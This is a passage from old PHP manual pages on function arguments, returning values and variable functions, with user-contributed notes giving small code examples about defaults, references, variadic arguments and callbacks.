lubaev 15-Jan-2014 11:18
<?php

function overload()
{
  $overloadFn = array();

  // key = count arguments, value = callback function.
  $overloadFn[0] = function() {
    return print nl2br("Zero argument. \n");
  };
  $overloadFn[1] = function($a) {
    return print nl2br("One argument. Result: $a \n");
  };
  $overloadFn[2] = function($a,$b) {
    return print nl2br("Two argument. Result: $a, $b \n");
  };
  $overloadFn[4] = function($a,$b,$c,$d) {
    return print nl2br("Four argument. Result: $a, $b, $c, $d \n");
  };

  $countArgs = func_num_args();
  $valueArgs = func_get_args();

  if( isset($overloadFn[ $countArgs ]) )
  {
    return call_user_func_array( $overloadFn[ $countArgs ], $valueArgs );
  }
  trigger_error("Wrong number of arguments!", E_USER_WARNING);

}

// OVERLOAD
overload(); // Zero argument.
overload(1); // One argument. Result: 1
overload(1,2); // Two argument. Result: 1, 2
overload(1,2,3); // Warning: Wrong number of arguments!
overload(1,2,3,4); // Four argument. Result: 1, 2, 3, 4
overload(1,2,3,4,5); // Warning: Wrong number of arguments!

?>


Function arguments

Information may be passed to functions via the argument list, which is a comma-delimited list of expressions. The arguments are evaluated from left to right.

PHP supports passing arguments by value (the default), passing by reference, and default argument values. Variable-length argument lists are also supported.

Example #1 Passing arrays to functions

<?php
function takes_array($input)
{
    echo "$input[0] + $input[1] = ", $input[0]+$input[1];
}
?>

Making arguments be passed by reference

By default, function arguments are passed by value (so that if the value of the argument within the function is changed, it does not get changed outside of the function). To allow a function to modify its arguments, they must be passed by reference.

To have an argument to a function always passed by reference, prepend an ampersand (&) to the argument name in the function definition:

Example #2 Passing function parameters by reference

<?php
function add_some_extra(&$string)
{
    $string .= 'and something extra.';
}
$str = 'This is a string, ';
add_some_extra($str);
echo $str;    // outputs 'This is a string, and something extra.'
?>

Default argument values

A function may define C++-style default values for scalar arguments as follows:

Example #3 Use of default parameters in functions

<?php
function makecoffee($type = "cappuccino")
{
    return "Making a cup of $type.\n";
}
echo makecoffee();
echo makecoffee(null);
echo makecoffee("espresso");
?>

The above example will output:

Making a cup of cappuccino.
Making a cup of .
Making a cup of espresso.

PHP also allows the use of arrays and the special type NULL as default values, for example:

Example #4 Using non-scalar types as default values

<?php
function makecoffee($types = array("cappuccino"), $coffeeMaker = NULL)
{
    $device = is_null($coffeeMaker) ? "hands" : $coffeeMaker;
    return "Making a cup of ".join(", ", $types)." with $device.\n";
}
echo makecoffee();
echo makecoffee(array("cappuccino", "lavazza"), "teapot");
?>

The default value must be a constant expression, not (for example) a variable, a class member or a function call.

Note that when using default arguments, any defaults should be on the right side of any non-default arguments; otherwise, things will not work as expected. Consider the following code snippet:

Example #5 Incorrect usage of default function arguments

<?php
function makeyogurt($type = "acidophilus", $flavour)
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // won't work as expected
?>

The above example will output:

Warning: Missing argument 2 in call to makeyogurt() in
/usr/local/etc/httpd/htdocs/phptest/functest.html on line 41
Making a bowl of raspberry .

Now, compare the above with this:

Example #6 Correct usage of default function arguments

<?php
function makeyogurt($flavour, $type = "acidophilus")
{
    return "Making a bowl of $type $flavour.\n";
}

echo makeyogurt("raspberry");   // works as expected
?>

The above example will output:

Making a bowl of acidophilus raspberry.

Note: As of PHP 5, arguments that are passed by reference may have a default value.

Variable-length argument lists

PHP has support for variable-length argument lists in user-defined functions. This is implemented using the ... token in PHP 5.6 and later, and using the func_num_args(), func_get_arg(), and func_get_args() functions in PHP 5.5 and earlier.

... in PHP 5.6+

In PHP 5.6 and later, argument lists may include the ... token to denote that the function accepts a variable number of arguments. The arguments will be passed into the given variable as an array; for example:

Example #7 Using ... to access variable arguments

<?php
function sum(...$numbers) {
    $acc = 0;
    foreach ($numbers as $n) {
        $acc += $n;
    }
    return $acc;
}

echo sum(1, 2, 3, 4);
?>

The above example will output:

10

You can also use ... when calling functions to unpack an array or Traversable variable or literal into the argument list:

Example #8 Using ... to provide arguments

<?php
function add($a, $b) {
    return $a + $b;
}

echo add(...[1, 2])."\n";

$a = [1, 2];
echo add(...$a);
?>

The above example will output:

3
3

You may specify normal positional arguments before the ... token. In this case, only the trailing arguments that don't match a positional argument will be added to the array generated by ....

It is also possible to add a type hint before the ... token. If this is present, then all arguments captured by ... must be objects of the hinted class.

Example #9 Type hinted variable arguments

<?php
function total_intervals($unit, DateInterval ...$intervals) {
    $time = 0;
    foreach ($intervals as $interval) {
        $time += $interval->$unit;
    }
    return $time;
}

$a = new DateInterval('P1D');
$b = new DateInterval('P2D');
echo total_intervals('d', $a, $b).' days';

// This will fail, since null isn't a DateInterval object.
echo total_intervals('d', null);
?>

The above example will output:

3 days
Catchable fatal error: Argument 2 passed to total_intervals() must be an instance of DateInterval, null given, called in - on line 14 and defined in - on line 2

Finally, you may also pass variable arguments by reference by prefixing the ... with an ampersand (&).

Older versions of PHP

No special syntax is required to note that a function is variadic; however access to the function's arguments must use func_num_args(), func_get_arg() and func_get_args().

The first example above would be implemented as follows in PHP 5.5 and earlier:

Example #10 Accessing variable arguments in PHP 5.5 and earlier

<?php
function sum() {
    $acc = 0;
    foreach (func_get_args() as $n) {
        $acc += $n;
    }
    return $acc;
}

echo sum(1, 2, 3, 4);
?>

The above example will output:

10

User Contributed Notes

lucas dot ekrause at gmail dot com 18-Jun-2014 05:40
In addition to jcaplan@bogus.amazon.com’s comment (http://www.php.net/manual/de/functions.arguments.php#62803) you could also simply write
<?php
function f($x=4){echo $x."\n";}
function g($x=null){for($i=0; $i<2; $i++){call_user_func_array("f", !is_null($x) ? array($x) : array());}}
?>
aasasdasdf at yandex dot ru 12-Apr-2014 09:34
As of PHP 5.5.10, it seems that a variable will be separated from its value if defined right in a function call:

php > error_reporting(E_ALL);
php > function a(&$b) {$b = 1;}
php > a($q = 2); var_dump($q);
Strict Standards: Only variables should be passed by reference in php shell code on line 1
int(2)
php > $w = 3; a($w); var_dump($w);
int(1)

Notice that it's still fine to use a variable that is not defined at all:

php > a($e); var_dump($e);
int(1)
Horst Schirmeier 08-Jan-2014 08:58
Editor's note: what is expected here by the parser is a non-evaluated expression. An operand and two constants requires evaluation, which is not done by the parser. However, this feature is included as of PHP 5.6.0. See this page for more information: http://php.net/migration56.new-features#migration56.new-features.const-scalar-exprs
--------

"The default value must be a constant expression" is misleading (or even wrong).  PHP 5.4.4 fails to parse this function definition:

function htmlspecialchars_latin1($s, $flags = ENT_COMPAT | ENT_HTML401) {}

This yields a " PHP Parse error:  syntax error, unexpected '|', expecting ')' " although ENT_COMPAT|ENT_HTML401 is certainly what a compiler-affine person would call a "constant expression".

The obvious workaround is to use a single special value ($flags = NULL) as the default, and to set it to the desired value in the function's body (if ($flags === NULL) { $flags = ENT_COMPAT | ENT_HTML401; }).
post at auge8472 dot de 19-Jul-2013 05:48
I needed a way to decide between two possible values for one function parameter. I didn't want to decide it before calling the function but wanted to do the constraint inside the function call.

$foo = 1;
$bar = 2;

function foobar($val) {
    echo $val;
    }

foobar(isset($foo) ? $foo : $bar);

// output: 1

$bar = 2;

function foobar($val) {
    echo $val;
    }

foobar(isset($foo) ? $foo : $bar);

// output: 2
ravenswd at gmail dot com 08-Jul-2013 11:30
Be careful when passing arguments by reference, it can cause unexpected side-effects if one is not careful.

I had a program designed to sweep through directories and subdirectories and report on the total number of files, and the total size of all files. Since it needed to return two values, I used variables passed by reference.

In one spot in the program, I didn't need the values of those variables after they were returned, so I just used a garbage variable named $ignore instead. This caused a curious bug which took me a while to track down, because the effects of the bug were in a different part of the program than the place where I had made a mistake.

Since the same variable was used for both parameters passed by reference, they ended up both pointing to the same physical location in memory, so changing one of them caused both of them to change. The code below is an excerpt of my program, stripped down to just the few lines necessary to illustrate what was happening:

<?php
sweep ($ignore, $ignore);
// no errors occur here

function sweep ( &$filecount, &$bytecount ) {
  $filecount = 1;
  $bytecount = 1024;
  print "Files: $filecount - Size: $bytecount";  // prints "Files: 1024 - Size: 1024"
}
?>
jacob at jacobweber dot com 13-Jun-2011 11:05
This page states:

"Note that when using default arguments, any defaults should be on the right side of any non-default arguments; otherwise, things will not work as expected."

There seems to be one exception to this. Say you're using type-hinting for an argument, but you want to allow it to be NULL, and you want additional required arguments to the right of it. PHP allows this, as long as you give it the type-hinted argument a default value of NULL. For example:

<?php
function sample(ClassA $a = NULL, $b) {
}
sample(new ClassA(), ''); // success
sample(new ClassB(), ''); // failure; wrong type
sample(NULL, ''); // success
sample(new ClassA()); // failure; missing second argument
?>
carlos at wfmh dot org dot pl dot REMOVE dot COM 15-Jun-2010 01:48
You can use (very) limited signatures for your functions, specifing type of arguments allowed.

For example:

public function Right( My_Class $a, array $b )

tells first argument have to by object of My_Class, second an array. My_Class means that you can pass also object of class that either extends My_Class or implements (if My_Class is abstract class) My_Class. If you need exactly My_Class you need to either make it final, or add some code to check what $a really.

Also note, that (unfortunately) "array" is the only built-in type you can use in signature. Any other types i.e.:

public function Wrong( string $a, boolean $b )

will cause an error, because PHP will complain that $a is not an *object* of class string (and $b is not an object of class boolean).

So if you need to know if $a is a string or $b bool, you need to write some code in your function body and i.e. throw exception if you detect type mismatch (or you can try to cast if it's doable).
rburnap at intelligent dash imaging dot com 14-May-2010 02:19
This may be helpful when you need to call an arbitrary function known only at runtime:

You can call a function as a variable name.
<?php

function foo(){
    echo"\nfoo()";
}

function callfunc($x, $y = '')
{
    if( $y=='' )
    {
        if( $x=='' )
             echo "\nempty";
        else $x();
    }
    else
         $y->$x();
}

class cbar {
    public function fcatch(){ echo "\nfcatch"; }
}

$x = '';
callfunc($x);
$x = 'foo';
callfunc($x);
$o = new cbar();
$x = 'fcatch';
callfunc($x, $o);
echo "\n\n";
?>

The code will output

empty
foo()
fcatch
mracky at pacbell dot net 29-Mar-2010 06:40
Nothing was written here about argument types as part of the function definition.

When working with classes, the class name can be used as argument type.  This acts as a reminder to the user of the class, as well as a prototype for php  control. (At least in php 5 -- did not check 4).

<?php
class foo {
  public $data;
  public function __construct($dd)
  {
    $this->data = $dd;
  }
};

class test {
  public $bar;

  public function __construct(foo $arg) // Strict typing for argument
  {
    $this->bar = $arg;
  }
  public function dump()
  {
    echo $this->bar->data . "\n";
  }

};

$A = new foo(25);
$Test1 = new test($A);
$Test1->dump();
$Test2 = new test(10); // wrong argument for testing

?>
outputs:
25
PHP Fatal error:  Argument 1 passed to test::__construct() must be an object of class foo, called in testArgType.php on line 27 and defined in testArgType.php on line 13
pigiman at gmail dot com 23-Mar-2010 06:37
Hey,

I started to learn for the Zend Certificate exam a few days ago and I got stuck with one unanswered-well question.
This is the question:
“Absent any actual need for choosing one method over the other, does passing arrays by value to a read-only function reduce performance compared to passing them by reference?’

This question answered by Zend support team at Zend.com:

"A copy of the original $array is created within the function scope. Once the function terminates, the scope is removed and the copy of $array with it." (By massimilianoc)

Have a nice day!

Shaked KO
allankelly at gmail dot com 21-Mar-2009 11:34
I like to pass an associative array as an argument. This is reminiscent of a Perl technique and can be tested with is_array. For example:
<?php
function div( $opt )
{
    $class = '';
    $text  = '';
    if( is_array( $opt ) )
    {
        foreach( $opt as $k => $v )
        {
            switch( $k )
            {
                case 'class': $class = "class = '$v'";
                                 break;
                case 'text': $text = $v;
                                 break;
            }
        }
    }
    else
    {
        $text = $opt;
    }
    return "<div $class>$text</div>";
}
?>
herenvardoREMOVEatSTUFFgmailINdotCAPScom 17-Jan-2009 09:48
There is a nice trick to emulate variables/function calls/etc as default values:

<?php
$myVar = "Using a variable as a default value!";

function myFunction($myArgument=null) {
    if($myArgument===null)
        $myArgument = $GLOBALS["myVar"];
    echo $myArgument;
}

// Outputs "Hello World!":
myFunction("Hello World!");
// Outputs "Using a variable as a default value!":
myFunction();
// Outputs the same again:
myFunction(null);
// Outputs "Changing the variable affects the function!":
$myVar = "Changing the variable affects the function!";
myFunction();
?>
In general, you define the default value as null (or whatever constant you like), and then check for that value at the start of the function, computing the actual default if needed, before using the argument for actual work.
Building upon this, it's also easy to provide fallback behaviors when the argument given is not valid: simply put a default that is known to be invalid in the prototype, and then check for general validity instead of a specific value: if the argument is not valid (either not given, so the default is used, or an invalid value was given), the function computes a (valid) default to use.
Don dot hosek at gmail dot com 21-Nov-2007 02:50
Actually the use of class or global constants does buy us something. It helps enforce the DRY (don't repeat yourself) principle.
conciseusa at yahoo[nospammm] dot com 23-Apr-2007 05:03
With regards to:

It is also possible to force a parameter type using this syntax. I couldn't see it in the documentation.
function foo(myclass par) { }

I think you are referring to Type Hinting. It is documented here: http://ch2.php.net/language.oop5.typehinting
pdenny at magmic dot com 18-Feb-2007 06:43
Note that constants can also be used as default argument values
so the following code:

  define('TEST_CONSTANT','Works!');
  function testThis($var=TEST_CONSTANT) {
      echo "Passing constants as default values $var";
  }
  testThis();

will produce :

Passing constants as default values Works!

(I tried this in both PHP 4 and 5)
John 16-Nov-2006 12:20
This might be documented somewhere OR obvious to most, but when passing an argument by reference (as of PHP 5.04) you can assign a value to an argument variable in the function call. For example:

function my_function($arg1, &$arg2) {
  if ($arg1 == true) {
    $arg2 = true;
  }
}
my_function(true, $arg2 = false);
echo $arg2;

outputs 1 (true)

my_function(false, $arg2 = false);
echo $arg2;

outputs 0 (false)
keuleu at hotmail dot com 19-Oct-2006 11:59
I ran into the problem that jcaplan mentionned. I had just finished building 2 handler classes and one interface.

During my testing I realized that my handlers were not initializing their variables to their default values when my interface was calling them with 'null' values:

this is a simplified illustration:

<?php

function some_function($v1='value1',$v2='value2',$v3='value3'){
  echo $v1.',  ';
  echo $v2.',  ';
  echo $v3;
}

some_function(); //this will behave as expected, displaying 'value1,  value2,  value3'
some_function(null,null,null); //this on the other hand will display ',  ,' since the variables will take the null value.
?>

I came to about the same conclusion as jcaplan. To force your function parameters to take a default value when a null is passed you need to include a conditionnal assignment inside the function definition.

<?php
function some_function($v1='value1',$v2='value1',$v3=null){
  $v1=(is_null($v1)?'value1':$v1);
  $v2=(is_null($v2)?'value2':$v2);
  $v3=(is_null($v3)?'value3':$v3);
  echo $v1;
  echo $v2;
  echo $v3;
}
/*
The default value whether null or an actual value is not so important in the parameter list, what is important is that you include it to allow a default behavior. The default value in the declaration becomes more important at this point:
*/
?>
jcaplan at bogus dot amazon dot com 10-Mar-2006 12:11
In function calls, PHP clearly distinguishes between missing arguments and present but empty arguments.  Thus:

<?php
function f( $x = 4 ) { echo $x . "\\n"; }
f(); // prints 4
f( null ); // prints blank line
f( $y ); // $y undefined, prints blank line
?>

The utility of the optional argument feature is thus somewhat diminished.  Suppose you want to call the function f many times from function g, allowing the caller of g to specify if f should be called with a specific value or with its default value:

<?php
function f( $x = 4 ) {echo $x . "\\n"; }

// option 1: cut and paste the default value from f's interface into g's
function g( $x = 4 ) { f( $x ); f( $x ); }

// option 2: branch based on input to g
function g( $x = null ) { if ( !isset( $x ) ) { f(); f() } else { f( $x ); f( $x ); } }
?>

Both options suck.

The best approach, it seems to me, is to always use a sentinel like null as the default value of an optional argument.  This way, callers like g and g's clients have many options, and furthermore, callers always know how to omit arguments so they can omit one in the middle of the parameter list.

<?php
function f( $x = null ) { if ( !isset( $x ) ) $x = 4; echo $x . "\\n"; }

function g( $x = null ) { f( $x ); f( $x ); }

f(); // prints 4
f( null ); // prints 4
f( $y ); // $y undefined, prints 4
g(); // prints 4 twice
g( null ); // prints 4 twice
g( 5 ); // prints 5 twice

?>
ksamvel at gmail dot com 07-Feb-2006 04:55
by default Classes constructor does not have any arguments. Using small trick with func_get_args() and other relative functions constructor becomes a function w/ args (tested in php 5.1.2). Check it out:

class A {
    public function __construct() {
        echo func_num_args() . "<br>";
        var_dump( func_get_args());
        echo "<br>";
    }
}

$oA = new A();
$oA = new A( 1, 2, 3, "txt");

Output:

0
array(0) { }
4
array(4) { [0]=> int(1) [1]=> int(2) [2]=> int(3) [3]=> string(3) "txt" }
Sergio Santana: ssantana at tlaloc dot imta dot mx 31-Oct-2005 11:59
PASSING A "VARIABLE-LENGTH ARGUMENT LIST OF REFERENCES" TO A FUNCTION
As of PHP 5, Call-time pass-by-reference has been deprecated, this represents no problem in most cases, since instead of calling a function like this:
   myfunction($arg1, &$arg2, &$arg3);

you can call it
   myfunction($arg1, $arg2, $arg3);

provided you have defined your function as
   function myfuncion($a1, &$a2, &$a3) { // so &$a2 and &$a3 are
                                                             // declared to be refs.
    ... <function-code>
   }

However, what happens if you wanted to pass an undefined number of references, i.e., something like:
   myfunction(&$arg1, &$arg2, ..., &$arg-n);?
This doesn't work in PHP 5 anymore.

In the following code I tried to amend this by using the
array() language-construct as the actual argument in the
call to the function.

<?php

  function aa ($A) {
    // This function increments each
    // "pseudo-argument" by 2s
    foreach ($A as &$x) {
      $x += 2;
    }
  }

  $x = 1; $y = 2; $z = 3;

  aa(array(&$x, &$y, &$z));
  echo "--$x--$y--$z--\n";
  // This will output:
  // --3--4--5--
?>

I hope this is useful.

Sergio.
grinslives13 at hotmail dot com~=s/i/ee/g 25-Sep-2005 07:55
Given that we have two coding styles:

#
# Code (A)
#
funtion foo_a (&$var)
{
    $var *= 2;
    return $var;
}
foo_a($a);

#
# Code (B)
#
function foo_b ($var)
{
    $var *= 2;
    return $var;
}
foo_b(&$a);

I personally wouldn't recommend (B) - I think it strange why php would support such a convention as it would have violated foo_b's design - its use would not do justice to its function prototype. And thinking about such use, I might have to think about copying all variables instead of working directly on them...

Coding that respects function prototypes strictly would, I believe, result in code that is more intuitive to read. Of course, in php <=4, not being able to use default values with references, we can't do this that we can do in C:

#
# optional return-value parameters
#
int foo_c (int var, int *ret)
{
    var *= 2;
    if (ret) *ret = var;
    return var;
}
foo_c(2, NULL);

Of course, since variables are "free" anyway, we can always get away with it by using dummy variables...

zlel
nate at natemurray dot com 31-Aug-2005 12:15
Of course you can fake a global variable for a default argument by something like this:
<?php
function self_url($text, $page, $per_page = NULL) {
  $per_page = ($per_page == NULL) ? $GLOBALS['gPER_PAGE'] : $per_page; # setup a default value of per page
  return sprintf("<a href=%s?page=%s&perpage=%s>%s</a>", $_SERVER["PHP_SELF"], $page, $per_page, $text);
}
?>
Angelina Bell 25-Jul-2005 09:40
It is so easy to create a constant that the php novice might do so accidently while attempting to call a function with no arguments.  For example:
<?php
function LogoutUser(){
// destroy the session, the cookie, and the session ID
  blah blah blah;
  return true;
}
function SessionCheck(){
  blah blah blah;
// check for session timeout
...
    if ($timeout) LogoutUser;  // should be LogoutUser();
}
?>

OOPS!  I don't notice my typo, the SessionCheck function
doesn't work, and it takes me all afternoon to figure out why not!

<?php
LogoutUser;
print "new constant LogoutUser is " . LogoutUser;
?>
balint , at ./ atres &*( ath !# cx 30-Jun-2005 11:59
(in reply to benk at NOSPAM dot icarz dot com / 24-Jun-2005 04:21)
I could make use of this assignment, as below, to have a permanently existing, but changing data block (because it is used by many other classes), where the order or the refreshed contents are needed for the others: (DB init done by one, an other changed the DB, and thereafter all others need to use the other DB without creating new instances, or creating a log array in one, and we would like to append the new debug strings to the array, atmany places.)

class xyz {
    var argN = array();
    function xyz($argN) {
        $this->argN = &$argN;
    }
    function etc($text) {
        array_push($this->argN, $text);
    }
}
class abc {
    var argM = array();
    function abc($argM) {
        $this->argM = &$argM;
    }
    function etc($text) {
        array_push($this->argM, $text);
    }
}

$messages=array("one", "two");
$x = new xyz(&$messages);
$x->etc("test");

$a = new abc(&$messages);
$a->etc("tset");

...
csaba at alum dot mit dot edu 26-Jan-2005 01:58
Argument evaluation left to right means that you can save yourself a temporary variable in the example below whereas $current = $prior + ($prior=$current) is just the same as $current *= 2;

function Sum() { return array_sum(func_get_args()); }
function Fib($n,$current=1,$prior=0) {
    for (;--$n;) $current = Sum($prior,$prior=$current);
    return $current;
}

Csaba Gabor
PS.  You could, of course, just use array_sum(array(...)) in place of Sum(...)
heck AT fas DOT harvard DOT edu 25-Mar-2004 02:49
I have some functions that I'd like to be able to pass arguments two ways: Either as an argument list of variable length (e.g. func(1, 2, 3, 4)) or as an array (e.g., func(array(1,2,3,4)). Only the latter can be constructed on the fly (e.g., func($ar)), but the syntax of the former can be neater.

The way to do it is to begin the function as follows:
  $args = func_get_args();
  if (is_array ($args[0]))
    $args = $args[0];
Then one can just use $args as the list of arguments.
thesibster at hotmail dot com 30-Jun-2003 08:43
Call-time pass-by-ref arguments are deprecated and may not be supported later, so doing this:

----
function foo($str) {
    $str = "bar";
}

$mystr = "hello world";
foo(&$mystr);
----

will produce a warning when using the recommended php.ini file.  The way I ended up using for optional pass-by-ref args is to just pass an unused variable when you don't want to use the resulting parameter value:

----
function foo(&$str) {
    $str = "bar";
}

foo($_unused_);
----

Note that trying to pass a value of NULL will produce an error.
guillaume dot goutaudier at eurecom dot fr 19-Jul-2002 09:15
Concerning default values for arguments passed by reference:
I often use that trick:
func($ref=$defaultValue) {
    $ref = "new value";
}
func(&$var);
print($var) // echo "new value"

Setting $defaultValue to null enables you to write functions with optional arguments which, if given, are to be modified.
wls at wwco dot com 20-Nov-2001 08:29
Follow up to resource passing:

It appears that if you have defined the resource in the same file
as the function that uses it, you can get away with the global trick.

Here's the failure case:

  include "functions_doing_globals.php"
  $conn = openDatabaseConnection();
  invoke_function_doing_global_conn();

...that it fails.

Perhaps it's some strange scoping problem with include/require, or
globals trying to resolve before the variable is defined, rather
than at function execution.
rwillmann at nocomment dot sk 22-Jun-2001 12:05
There is no way how to deal with calling by reference when variable lengths argument list are passed.
<br>Only solutions is to use construction like this:<br>
function foo($args) {<br>
   ...
}

foo(array(&$first, &$second));

Above example pass by value a list of references to other variables :-)

It is courios, becouse when you call a function with arguments passed via &$parameter syntax, func_get_args returns array of copies :-(

rwi
artiebob at go dot com 25-Feb-2001 10:48
here is the code to pass a user defined function as an argument.  Just like in the usort method.

<?php
func2("func1");
function func1 ($arg){
        print ("Hello $arg");
}
function func2 ($arg1){
        $arg1("World");  //Does the same thing as the next line
        call_user_func ($arg1, "World");
}
?>
david at petshelter dot net 25-Jan-2001 08:23
With reference to the note about extract() by dietricha@subpop.com:

He is correct and this is great!  What he does not say explicitly is that the extracted variable names have the scope of the function, not the global namespace.  (This is the appropriate behavior IMO.)  If for some reason you want the extracted variables to be visible in the global namespace, you must declare them 'global' inside the function.
coop at better-mouse-trap dot com 10-Oct-2000 05:59
If you prefer to use named arguments to your functions (so you don't have to worry about the order of variable argument lists), you can do so PERL style with anonymous arrays:

<?php
function foo($args)
{
    print "named_arg1 : " . $args["named_arg1"] . "\n";
    print "named_arg2 : " . $args["named_arg2"] . "\n";
}

foo(array("named_arg1" => "arg1_value", "named_arg2" => "arg2_value"));
?>

will output:
named_arg1 : arg1_value
named_arg2 : arg2_value
almasy at axisdata dot com 21-Aug-2000 01:11
Re: Passing By Reference Inside A Class

Passing arguments by reference does work inside a class.  When you do:

    $this->testVar = $ref;

inside setTestVar(), you're copying by value instead of copying by reference.  I think what you want there is this:

    $this->testVar = &$ref;

Which is the new "assign by reference" syntax that was added in PHP4.


Returning values

Values are returned by using the optional return statement. Any type may be returned, including arrays and objects. This causes the function to end its execution immediately and pass control back to the line from which it was called. See return for more information.

Note:

If the return is omitted the value NULL will be returned.

Example #1 Use of return

<?php
function square($num)
{
    return $num * $num;
}
echo square(4);   // outputs '16'.
?>

A function can not return multiple values, but similar results can be obtained by returning an array.

Example #2 Returning an array to get multiple values

<?php
function small_numbers()
{
    return array (0, 1, 2);
}
list ($zero, $one, $two) = small_numbers();
?>

To return a reference from a function, use the reference operator & in both the function declaration and when assigning the returned value to a variable:

Example #3 Returning a reference from a function

<?php
function &returns_reference()
{
    return $someref;
}

$newref =& returns_reference();
?>

For more information on references, please check out References Explained.

User Contributed Notes

ahmad at myandmyhost dot comze dot com 15-Feb-2014 01:28
we can return array using foreach
<?php
function my_func2()
{
    return array("Name"=>"Ahmad Sayeed","Email"=>"ahmad@gmail.com");

}
$ar = my_func2();
foreach($ar as $key=>$value)
{echo $key." , ".$value,"<br />";}

?>
rstaveley at seseit dot com 29-Aug-2010 10:26
Developers with a C background may expect pass by reference semantics for arrays. It may be surprising that  pass by value is used for arrays just like scalars. Objects are implicitly passed by reference.

<?php

# (1) Objects are always passed by reference and returned by reference

class Obj {
    public $x;
}

function obj_inc_x($obj) {
    $obj->x++;
    return $obj;
}

$obj = new Obj();
$obj->x = 1;

$obj2 = obj_inc_x($obj);
obj_inc_x($obj2);

print $obj->x . ', ' . $obj2->x . "\n";

# (2) Scalars are not passed by reference or returned as such

function scalar_inc_x($x) {
    $x++;
    return $x;
}

$x = 1;

$x2 = scalar_inc_x($x);
scalar_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (3) You have to force pass by reference and return by reference on scalars

function &scalar_ref_inc_x(&$x) {
    $x++;
    return $x;
}

$x = 1;

$x2 =& scalar_ref_inc_x($x);    # Need reference here as well as the function sig
scalar_ref_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (4) Arrays use pass by value sematics just like scalars

function array_inc_x($array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 = array_inc_x($array);
array_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";

# (5) You have to force pass by reference and return by reference on arrays

function &array_ref_inc_x(&$array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 =& array_ref_inc_x($array); # Need reference here as well as the function sig
array_ref_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";
Anonymous 10-Jul-2010 04:54
As of at least PHP 5.3, a function or class method returning an object acts like an object.

<?php

class A {
    function test() {
        echo "Yay!";
        }
    }

function get_obj() {
    return new A();
    }

get_obj()->test();  // "Yay!"

?>

Sorry, still doesn't work with arrays.  Ie <?php echo get_array()[1]; ?> fails.
bgalloway at citycarshare dot org 28-Mar-2008 03:27
Be careful about using "do this thing or die()" logic in your return lines.  It doesn't work as you'd expect:

<?php
function myfunc1() {
    return('thingy' or die('otherthingy'));
}
function myfunc2() {
    return 'thingy' or die('otherthingy');
}
function myfunc3() {
    return('thingy') or die('otherthingy');
}
function myfunc4() {
    return 'thingy' or 'otherthingy';
}
function myfunc5() {
    $x = 'thingy' or 'otherthingy'; return $x;
}
echo myfunc1(). "\n". myfunc2(). "\n". myfunc3(). "\n". myfunc4(). "\n". myfunc5(). "\n";
?>

Only myfunc5() returns 'thingy' - the rest return 1.
nick at itomic.com 04-Aug-2003 09:56
Functions which return references, may return a NULL value. This is inconsistent with the fact that function parameters passed by reference can't be passed as NULL (or in fact anything which isnt a variable).

i.e.

<?php

function &testRet()
{
    return NULL;
}

if (testRet() === NULL)
{
    echo "NULL";
}
?>

parses fine and echoes NULL
ian at NO_SPAM dot verteron dot net 15-Jan-2003 01:28
In reference to the poster above, an additional (better?) way to return multiple values from a function is to use list(). For example:

function fn($a, $b)
{
   # complex stuff

   return array(
      $a * $b,
      $a + $b,
   );
}

list($product, $sum) = fn(3, 4);

echo $product; # prints 12
echo $sum; # prints 7


Variable functions

PHP supports the concept of variable functions. This means that if a variable name has parentheses appended to it, PHP will look for a function with the same name as whatever the variable evaluates to, and will attempt to execute it. Among other things, this can be used to implement callbacks, function tables, and so forth.

Variable functions won't work with language constructs such as echo, print, unset(), isset(), empty(), include, require and the like. Utilize wrapper functions to make use of any of these constructs as variable functions.

Example #1 Variable function example

<?php
function foo() {
    echo "In foo()<br />\n";
}

function bar($arg = '')
{
    echo "In bar(); argument was '$arg'.<br />\n";
}

// This is a wrapper function around echo
function echoit($string)
{
    echo $string;
}

$func = 'foo';
$func();        // This calls foo()

$func = 'bar';
$func('test');  // This calls bar()

$func = 'echoit';
$func('test');  // This calls echoit()
?>

Object methods can also be called with the variable functions syntax.

Example #2 Variable method example

<?php
class Foo
{
    function Variable()
    {
        $name = 'Bar';
        $this->$name(); // This calls the Bar() method
    }

    function Bar()
    {
        echo "This is Bar";
    }
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname();  // This calls $foo->Variable()

?>

When calling static methods, the function call is stronger than the static property operator:

Example #3 Variable method example with static properties

<?php
class Foo
{
    static $variable = 'static property';
    static function Variable()
    {
        echo 'Method Variable called';
    }
}

echo Foo::$variable; // This prints 'static property'. It does need a $variable in this scope.
$variable = "Variable";
Foo::$variable();  // This calls $foo->Variable() reading $variable in this scope.

?>

See also is_callable(), call_user_func(), variable variables and function_exists().

User Contributed Notes

Anonymous 27-Jun-2011 08:20
$ wget http://www.php.net/get/php_manual_en.tar.gz/from/a/mirror
$ grep -l "\$\.\.\." php-chunked-xhtml/function.*.html

List of functions that accept variable arguments.
<?php
array_diff_assoc()
array_diff_key()
array_diff_uassoc()
array()
array_intersect_ukey()
array_map()
array_merge()
array_merge_recursive()
array_multisort()
array_push()
array_replace()
array_replace_recursive()
array_unshift()
call_user_func()
call_user_method()
compact()
dba_open()
dba_popen()
echo()
forward_static_call()
fprintf()
fscanf()
httprequestpool_construct()
ibase_execute()
ibase_set_event_handler()
ibase_wait_event()
isset()
list()
maxdb_stmt_bind_param()
maxdb_stmt_bind_result()
mb_convert_variables()
newt_checkbox_tree_add_item()
newt_grid_h_close_stacked()
newt_grid_h_stacked()
newt_grid_v_close_stacked()
newt_grid_v_stacked()
newt_win_choice()
newt_win_entries()
newt_win_menu()
newt_win_message()
newt_win_ternary()
pack()
printf()
register_shutdown_function()
register_tick_function()
session_register()
setlocale()
sprintf()
sscanf()
unset()
var_dump()
w32api_deftype()
w32api_init_dtype()
w32api_invoke_function()
wddx_add_vars()
wddx_serialize_vars()
?>
imurnane at internode on net 02-May-2011 12:05
Create and call a dynamically named function

<?php
$tmp = "foo";
$$tmp = function() {
    global $tmp;
    echo $tmp;
};

$$tmp();
?>

Outputs "foo"
AnonymousPoster at disposeamail dot com 03-May-2010 11:20
Variable functions allows higher-order programming.

Here is the classical map example.

<?php
/*
 * Map function. At each $element of the $list, calls $fun([$arg1,[$arg2,[...,]],$element,$accumulator),
